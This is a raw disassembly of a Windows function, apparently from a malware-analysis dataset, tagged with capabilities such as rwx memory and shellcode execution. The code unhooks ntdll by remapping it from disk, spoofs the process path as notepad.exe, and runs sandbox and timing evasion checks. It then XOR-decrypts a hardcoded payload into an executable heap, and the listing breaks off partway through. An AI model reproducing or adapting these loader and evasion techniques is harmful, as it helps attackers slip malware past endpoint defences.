Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x848
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x7b0], xmm6
mov dword [rbp + 0x7f0], ecx
mov qword [rbp + 0x7f8], rdx
call fcn.140002ba0
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x740], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x738], rax
mov ecx, 0x252c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x730], rax
mov ecx, 0x252c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x728], rax
mov ecx, 0x252c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x720], rax
mov dword [rbp + 0x7ac], 0
jmp 0x1400015c0
mov dword [rbp + 0x7a8], 0
jmp 0x1400015ac
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x7ac]
cdqe
imul rcx, rax, 0xf4
mov rax, qword [rbp + 0x730]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x7a8]
cdqe
movss dword [rcx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x7ac]
cdqe
imul rcx, rax, 0xf4
mov rax, qword [rbp + 0x728]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x7a8]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x7a8], 1
cmp dword [rbp + 0x7a8], 0x3c
jle 0x140001501
add dword [rbp + 0x7ac], 1
cmp dword [rbp + 0x7ac], 0x26
jle 0x1400014f2
mov dword [rbp + 0x7ac], 0
jmp 0x140001679
mov dword [rbp + 0x7a8], 0
jmp 0x140001665
mov eax, dword [rbp + 0x7ac]
cdqe
imul rdx, rax, 0xf4
mov rax, qword [rbp + 0x730]
add rdx, rax
mov eax, dword [rbp + 0x7a8]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x7ac]
cdqe
imul rdx, rax, 0xf4
mov rax, qword [rbp + 0x728]
add rdx, rax
mov eax, dword [rbp + 0x7a8]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x7ac]
cdqe
imul rdx, rax, 0xf4
mov rax, qword [rbp + 0x720]
add rdx, rax
addss xmm0, xmm1
mov eax, dword [rbp + 0x7a8]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x7a8], 1
cmp dword [rbp + 0x7a8], 0x3c
jle 0x1400015e8
add dword [rbp + 0x7ac], 1
cmp dword [rbp + 0x7ac], 0x26
jle 0x1400015dc
mov rax, qword [rbp + 0x730]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x728]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x720]
mov rcx, rax
call sub.msvcrt.dll_free
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x718], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x7a0], rax
mov dword [rbp + 0x714], 0
mov dword [rbp + 0x794], 0
mov ecx, 0xa64
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x708], rax
mov dword [rbp + 0x79c], 0
jmp 0x1400017d5
mov dword [rbp + 0x798], 0
jmp 0x1400017c1
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x79c]
movsxd rdx, edx
imul rcx, rdx, 0x8c
mov rdx, qword [rbp + 0x708]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x798]
cdqe
mov dword [r8 + rax*4], edx
mov eax, dword [rbp + 0x79c]
cdqe
imul rdx, rax, 0x8c
mov rax, qword [rbp + 0x708]
add rdx, rax
mov eax, dword [rbp + 0x798]
cdqe
mov eax, dword [rdx + rax*4]
test eax, eax
jne 0x1400017ba
add dword [rbp + 0x794], 1
add dword [rbp + 0x798], 1
cmp dword [rbp + 0x798], 0x22
jle 0x140001740
add dword [rbp + 0x79c], 1
cmp dword [rbp + 0x79c], 0x12
jle 0x140001731
cmp dword [rbp + 0x794], 0x14c
jne 0x1400017f8
mov dword [rbp + 0x714], 1
mov rax, qword [rbp + 0x708]
mov rcx, rax
call sub.msvcrt.dll_free
cmp qword [rbp + 0x7a0], 0
jne 0x140001841
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x7a0], rax
cmp qword [rbp + 0x7a0], 0
je 0x140001c58
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x590]
mov rax, qword [rbp + 0x718]
mov r10, qword [rbp + 0x7a0]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0x590]
mov qword [rbp + 0x700], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x6f8], rax
mov rax, qword [rbp + 0x6f8]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x6f0], rax
mov rax, qword [rbp + 0x6f0]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x6e8], rax
mov rax, qword [rbp + 0x700]
mov qword [rbp + 0x6e0], rax
mov rax, qword [rbp + 0x6e0]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x700]
add rax, rdx
mov qword [rbp + 0x6d8], rax
mov word [rbp + 0x792], 0
jmp 0x140001c40
mov rax, qword [rbp + 0x6d8]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x6d8]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x792]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x6d0], rax
mov rax, qword [rbp + 0x6d0]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001c2f
mov dword [rbp + 0x558], 0
mov rax, qword [rbp + 0x6d0]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x6d0]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x700]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x558]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x6d0]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x6d0]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x6e8]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x6d0]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x700]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov dword [rbp + 0x78c], 0
mov dword [rbp + 0x788], 0
mov ecx, 0xbcc
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6c8], rax
mov dword [rbp + 0x784], 0
jmp 0x140001b00
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x784]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x6c8]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x23
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x784]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6c8]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x78c], eax
add dword [rbp + 0x784], 1
cmp dword [rbp + 0x784], 0x2f2
jle 0x140001a92
mov dword [rbp + 0x784], 0
jmp 0x140001b88
pxor xmm6, xmm6
cvtsi2sd xmm6, dword [rbp + 0x788]
mov eax, dword [rbp + 0x784]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6c8]
add rax, rdx
mov eax, dword [rax]
pxor xmm0, xmm0
cvtsi2ss xmm0, eax
subss xmm0, dword [rbp + 0x6bc]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm0
movq rax, xmm2
movsd xmm0, qword [0x140006588]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140003ea0
addsd xmm0, xmm6
cvttsd2si eax, xmm0
mov dword [rbp + 0x788], eax
add dword [rbp + 0x784], 1
cmp dword [rbp + 0x784], 0x2f2
jle 0x140001b18
pxor xmm0, xmm0
cvtsi2ss xmm0, dword [rbp + 0x788]
movss xmm1, dword [0x140006590]
divss xmm0, xmm1
movss dword [rbp + 0x6c4], xmm0
pxor xmm3, xmm3
cvtss2sd xmm3, dword [rbp + 0x6c4]
movq rax, xmm3
movq xmm0, rax
call fcn.140003b90
cvtsd2ss xmm0, xmm0
movss dword [rbp + 0x6c0], xmm0
mov rax, qword [rbp + 0x6c8]
mov rcx, rax
call sub.msvcrt.dll_free
mov edx, dword [rbp + 0x558]
mov rax, qword [rbp + 0x6d0]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x6d0]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x700]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x558]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x792]
add eax, 1
mov word [rbp + 0x792], ax
mov rax, qword [rbp + 0x6d8]
movzx eax, word [rax + 6]
cmp word [rbp + 0x792], ax
jb 0x14000197b
mov ecx, 0xc64
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6b0], rax
mov dword [rbp + 0x780], 0
jmp 0x140001cc2
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x780]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x6b0]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x68db8bad
shr rdx, 0x20
sar edx, 0xc
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x2710
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x780], 1
cmp dword [rbp + 0x780], 0x318
jle 0x140001c75
mov dword [rbp + 0x780], 0
jmp 0x140001dda
mov dword [rbp + 0x5ac], 0
jmp 0x140001dbc
mov eax, dword [rbp + 0x780]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6b0]
add rax, rdx
mov edx, dword [rax]
mov eax, dword [rbp + 0x5ac]
cdqe
add rax, 1
lea rcx, [rax*4]
mov rax, qword [rbp + 0x6b0]
add rax, rcx
mov eax, dword [rax]
cmp edx, eax
jle 0x140001db5
mov eax, dword [rbp + 0x5ac]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6b0]
add rax, rdx
mov eax, dword [rax]
mov dword [rbp + 0x5a8], eax
mov eax, dword [rbp + 0x780]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6b0]
add rax, rdx
mov edx, dword [rbp + 0x5ac]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x6b0]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x5ac]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6b0]
add rdx, rax
mov eax, dword [rbp + 0x5a8]
mov dword [rdx], eax
add dword [rbp + 0x780], 1
mov eax, 0x318
sub eax, dword [rbp + 0x780]
cmp dword [rbp + 0x5ac], eax
jl 0x140001cec
add dword [rbp + 0x780], 1
cmp dword [rbp + 0x780], 0x318
jle 0x140001cdd
mov rax, qword [rbp + 0x6b0]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x55c], 0
mov dword [rbp + 0x77c], 0xffffffff
add dword [rbp + 0x77c], 1
call sub.msvcrt.dll_rand
imul eax, eax, 0x222
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006598]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003cd0
movq rax, xmm0
mov qword [rbp + 0x6a8], rax
cmp dword [rbp + 0x77c], 0x6d
jle 0x140001e0d
mov rax, qword [rbp + 0x740]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6a0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x560]
lea rax, [rbp + 0x55c]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x6a0]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0x568]
add rax, 0x3c
mov qword [rbp + 0x698], rax
mov rax, qword [rbp + 0x698]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x698]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
mov qword [rbp + 0x770], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x690], rax
cmp qword [rbp + 0x690], 0
je 0x140001f71
mov rax, qword [rbp + 0x690]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x688], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x688]
mov r9d, 0x3000
mov r8d, 0x42e
mov edx, 0
call rax
mov qword [rbp + 0x770], rax
cmp qword [rbp + 0x770], 0
je 0x140002acb
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x680], rax
mov rax, qword [rbp + 0x680]
call rax
mov dword [rbp + 0x67c], eax
mov ecx, 0x320
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x680]
call rax
mov dword [rbp + 0x678], eax
mov eax, dword [rbp + 0x678]
sub eax, dword [rbp + 0x67c]
cmp eax, 0x2ee
jbe 0x140002acb
mov qword [rbp + 0x670], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x668], rax
mov rax, qword [rbp + 0x668]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x2467680
mov ecx, 0
call rax
mov qword [rbp + 0x670], rax
cmp qword [rbp + 0x670], 0
je 0x140002acb
mov rax, qword [rbp + 0x670]
mov edx, 0x2467680
mov rcx, rax
call fcn.140004b60
mov rax, qword [rbp + 0x670]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov dword [rbp + 0x664], 0x3d0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x658], rax
mov rax, qword [rbp + 0x658]
call rax
mov dword [rbp + 0x654], eax
mov eax, dword [rbp + 0x664]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x658]
call rax
mov dword [rbp + 0x650], eax
mov eax, dword [rbp + 0x650]
sub eax, dword [rbp + 0x654]
cmp eax, 0x39e
jbe 0x140002acb
mov ecx, 0x5ef
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x5ef
jne 0x140002acb
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0x4b6
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x4b6
jne 0x140002acb
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov dword [rbp + 0x64c], 0x204
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x640], rax
mov rax, qword [rbp + 0x640]
call rax
mov dword [rbp + 0x63c], eax
mov eax, dword [rbp + 0x64c]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x640]
call rax
mov dword [rbp + 0x638], eax
mov eax, dword [rbp + 0x638]
sub eax, dword [rbp + 0x63c]
cmp eax, 0x1d2
jbe 0x140002acb
lea rax, str.rmitgmfjhgpqjn.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x630], rax
cmp qword [rbp + 0x630], 0
jne 0x140002acb
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x628], rax
mov rax, qword [rbp + 0x628]
call rax
mov dword [rbp + 0x624], eax
mov ecx, 0x3a0
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x628]
call rax
mov dword [rbp + 0x620], eax
mov eax, dword [rbp + 0x620]
sub eax, dword [rbp + 0x624]
cmp eax, 0x36e
jbe 0x140002acb
mov ecx, 0x65e
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x65e
jne 0x140002acb
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
lea rax, [rbp + 0x100]
lea rdx, [0x140006130]
mov ecx, 0x8a
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
movzx ecx, word [rdx]
mov word [rax], cx
mov rax, qword [rbp + 0x738]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x618], rax
mov rax, qword [rbp + 0x738]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x610], rax
mov rax, qword [rbp + 0x618]
mov r8d, 0
mov edx, 0x451
mov ecx, 0x40000
call rax
mov qword [rbp + 0x608], rax
mov rax, qword [rbp + 0x608]
mov r9, qword [rbp + 0x610]
mov r8d, 0x451
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x600], rax
mov rax, qword [rbp + 0x740]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5f8], rax
lea rdx, [rbp + 0x100]
mov rax, qword [rbp + 0x600]
mov r9, qword [rbp + 0x5f8]
mov r8d, 0x451
mov rcx, rax
call r9
mov dword [rbp + 0x76c], 0xffffffff
mov ecx, 0x1170
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x5f0], rax
add dword [rbp + 0x76c], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006598]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x76c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x5f0]
add rax, rdx
movsd xmm1, qword [0x1400065a0]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x76c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x5f0]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x76c]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x5f0]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_asin
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x76c], 0x22c
jle 0x1400023e4
mov dword [rbp + 0x768], 0
mov dword [rbp + 0x764], 0
mov dword [rbp + 0x760], 0
movabs rax, 0x3660b153a97f10f6
movabs rdx, 0x58669c492ad69d99
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rdx
movabs rax, 0x3e9e1a22a8d9126e
movabs rdx, 0x734de74118359a2
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x38], rdx
movabs rax, 0xebfc003efc262e8e
movabs rdx, 0xdb440e80ab1784c8
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rdx
movabs rax, 0x2bb9d9af6f63b750
movabs rdx, 0x172e8c613c19b244
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rdx
movabs rax, 0xd5eb2b7baf145ccd
movabs rdx, 0x7a527ae100b63844
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], rdx
movabs rax, 0xbeed0ffe0cd67a52
movabs rdx, 0x10b3568724e6a4
mov qword [rbp + 0x6e], rax
mov qword [rbp + 0x76], rdx
movabs rax, 0xe7ce7ca58faeb42
movabs rdx, 0x218c051aab43e6d4
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rdx
movabs rax, 0xe03a8c12cea75c52
movabs rdx, 0xddcf3656346e190d
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x98], rdx
movabs rax, 0xe66253fdaf3bd9cb
movabs rdx, 0x4ddaac302a436480
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], rdx
movabs rax, 0x34bfccad87312d10
movabs rdx, 0xae0d5d0b51827d91
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0xb8], rdx
movabs rax, 0x28a3a0b2f8cdc3b0
movabs rdx, 0x1cd84096f84e88f0
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xc8], rdx
movabs rax, 0x9b8734746654bc8b
movabs rdx, 0xa28f3aa4f55b0839
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0xd8], rdx
movabs rax, 0x3420c7ffe84205cb
movabs rdx, 0x35e8363784c3b5ac
mov qword [rbp + 0xe0], rax
mov qword [rbp + 0xe8], rdx
mov byte [rbp + 0xf0], 0
jmp 0x1400028ad
cmp dword [rbp + 0x764], 0x6f
jne 0x1400026f1
movsd xmm0, qword [0x1400065a8]
movsd qword [rbp + 0x758], xmm0
movsd xmm0, qword [0x1400065b0]
movsd qword [rbp + 0x5b8], xmm0
jmp 0x1400026a5
movsd xmm0, qword [rbp + 0x5b8]
mov rax, qword [rbp + 0x758]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140003ea0
movq rax, xmm0
mov qword [rbp + 0x758], rax
movsd xmm0, qword [0x1400065b8]
comisd xmm0, xmmword [rbp + 0x758]
ja 0x14000267c
mov eax, dword [rbp + 0x768]
cdqe
movzx edx, byte [rbp + rax + 0x20]
mov eax, dword [rbp + 0x764]
cdqe
movzx eax, byte [rbp + rax + 0x80]
xor edx, eax
mov eax, dword [rbp + 0x768]
cdqe
mov byte [rbp + rax - 0x40], dl
mov dword [rbp + 0x764], 0
jmp 0x14000284d
mov eax, dword [rbp + 0x768]
cdqe
movzx edx, byte [rbp + rax + 0x20]
mov eax, dword [rbp + 0x764]
cdqe
movzx eax, byte [rbp + rax + 0x80]
xor edx, eax
mov eax, dword [rbp + 0x768]
cdqe
mov byte [rbp + rax - 0x40], dl
mov dword [rbp + 0x5cc], 0
mov ecx, 0x3c8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x5c0], rax
mov dword [rbp + 0x754], 0
jmp 0x140002827
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 7
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
mov dword [rbp + 0x5cc], edx
mov edx, dword [rbp + 0x5cc]
imul edx, edx, 0x190
sub eax, edx
mov dword [rbp + 0x5cc], eax
cmp dword [rbp + 0x5cc], 0x168
jle 0x1400027ad
mov eax, dword [rbp + 0x754]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x5c0]
add rax, rdx
pxor xmm0, xmm0
movss dword [rax], xmm0
jmp 0x140002820
cmp dword [rbp + 0x5cc], 0
jns 0x1400027da
mov eax, dword [rbp + 0x754]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x5c0]
add rax, rdx
pxor xmm0, xmm0
movss dword [rax], xmm0
jmp 0x140002820
pxor xmm1, xmm1
cvtsi2sd xmm1, dword [rbp + 0x5cc]
movsd xmm0, qword [0x1400065c0]
mulsd xmm0, xmm1
movsd xmm1, qword [0x1400065c8]
divsd xmm0, xmm1
mov eax, dword [rbp + 0x754]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x5c0]
add rax, rdx
cvtsd2ss xmm0, xmm0
movss dword [rax], xmm0
add dword [rbp + 0x754], 1
cmp dword [rbp + 0x754], 0xf1
jle 0x140002746
mov rax, qword [rbp + 0x5c0]
mov rcx, rax
call sub.msvcrt.dll_free
add dword [rbp + 0x764], 1
mov dword [rbp + 0x750], 0
jmp 0x14000289a
call sub.msvcrt.dll_rand
imul eax, eax, 0x260
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006598]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003cd0
movq rax, xmm0
mov qword [rbp + 0x5b0], rax
add dword [rbp + 0x750], 1
cmp dword [rbp + 0x750], 0x1ca
jle 0x140002859
add dword [rbp + 0x768], 1
mov eax, dword [rbp + 0x768]
cmp eax, 0x5c
jbe 0x14000264d
mov dword [rbp + 0x768], 0
jmp 0x140002a32
cmp dword [rbp + 0x760], 0x5c
jne 0x1400029e6
mov eax, dword [rbp + 0x768]
movsxd rdx, eax
mov rax, qword [rbp + 0x600]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x760]
cdqe
movzx ecx, byte [rbp + rax - 0x40]
mov eax, dword [rbp + 0x768]
movsxd rdx, eax
mov rax, qword [rbp + 0x600]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
mov dword [rbp + 0x74c], 0xffffffff
mov ecx, 0xc20
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x5d0], rax
add dword [rbp + 0x74c], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006598]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x74c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x5d0]
add rax, rdx
movsd xmm1, qword [0x1400065a0]
subsd xmm0, xmm1
